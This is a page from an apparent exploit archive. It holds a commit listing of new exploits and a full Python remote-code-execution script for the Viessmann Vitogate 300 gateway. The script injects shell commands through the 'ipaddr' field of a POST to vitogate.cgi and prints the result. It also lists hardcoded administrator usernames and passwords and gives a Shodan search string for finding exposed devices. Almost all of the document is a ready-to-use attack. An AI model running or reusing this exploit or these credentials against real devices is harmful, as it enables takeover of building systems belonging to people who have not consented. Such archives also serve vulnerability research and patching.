2af1700331
10 changes to exploits/shellcodes/ghdb Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE) SolarView Compact 6.00 - Command Injection Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE) GitLab CE/EE < 16.7.2 - Password Reset JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow KiTTY 0.76.1.13 - Command Injection
78 lines
No EOL
2.4 KiB
Python
Executable file
78 lines
No EOL
2.4 KiB
Python
Executable file
#- Exploit Title: Viessmann Vitogate 300 <= 2.1.3.0 - Remote Code Execution (RCE)
|
|
#- Shodan Dork: http.title:'Vitogate 300'
|
|
#- Exploit Author: ByteHunter
|
|
#- Email: 0xByteHunter@proton.me
|
|
#- Version: versions up to 2.1.3.0
|
|
#- Tested on: 2.1.1.0
|
|
#- CVE : CVE-2023-5702 & CVE-2023-5222
|
|
|
|
|
|
import argparse
|
|
import requests
|
|
|
|
def banner():
|
|
banner = """
|
|
╔═══════════════════════════════════╗
|
|
CVE-2023-5702
|
|
Vitogate 300 RCE
|
|
Author: ByteHunter
|
|
╚═══════════════════════════════════╝
|
|
"""
|
|
|
|
print(banner)
|
|
|
|
|
|
def send_post_request(target_ip, command, target_port):
|
|
payload = {
|
|
"method": "put",
|
|
"form": "form-4-7",
|
|
"session": "",
|
|
"params": {
|
|
"ipaddr": f"1;{command}"
|
|
}
|
|
}
|
|
|
|
headers = {
|
|
"Host": target_ip,
|
|
"Content-Length": str(len(str(payload))),
|
|
"Content-Type": "application/json"
|
|
}
|
|
|
|
url = f"http://{target_ip}:{target_port}/cgi-bin/vitogate.cgi"
|
|
|
|
|
|
response = requests.post(url, json=payload, headers=headers)
|
|
|
|
if response.status_code == 200:
|
|
print("Result:")
|
|
print(response.text)
|
|
else:
|
|
print(f"Request failed! status code: {response.status_code}")
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Vitogate 300 RCE & Hardcoded Credentials")
|
|
parser.add_argument("--target", required=False, help="Target IP address")
|
|
parser.add_argument("--port", required=False, help="Target port",default="80")
|
|
parser.add_argument("--command", required=False, help="Command")
|
|
parser.add_argument("--creds", action="store_true", help="Show hardcoded credentials")
|
|
|
|
args = parser.parse_args()
|
|
|
|
if args.creds:
|
|
print("Vitogate 300 hardcoded administrative accounts credentials")
|
|
print("Username: vitomaster, Password: viessmann1917")
|
|
print("Username: vitogate, Password: viessmann")
|
|
else:
|
|
target_ip = args.target
|
|
target_port = args.port
|
|
command = args.command
|
|
|
|
if not (target_ip and command):
|
|
print("Both --target and --command options are required.\nor use --creds option to see hardcoded Credentials.")
|
|
return
|
|
|
|
send_post_request(target_ip, command,target_port)
|
|
|
|
if __name__ == "__main__":
|
|
banner()
|
|
main() |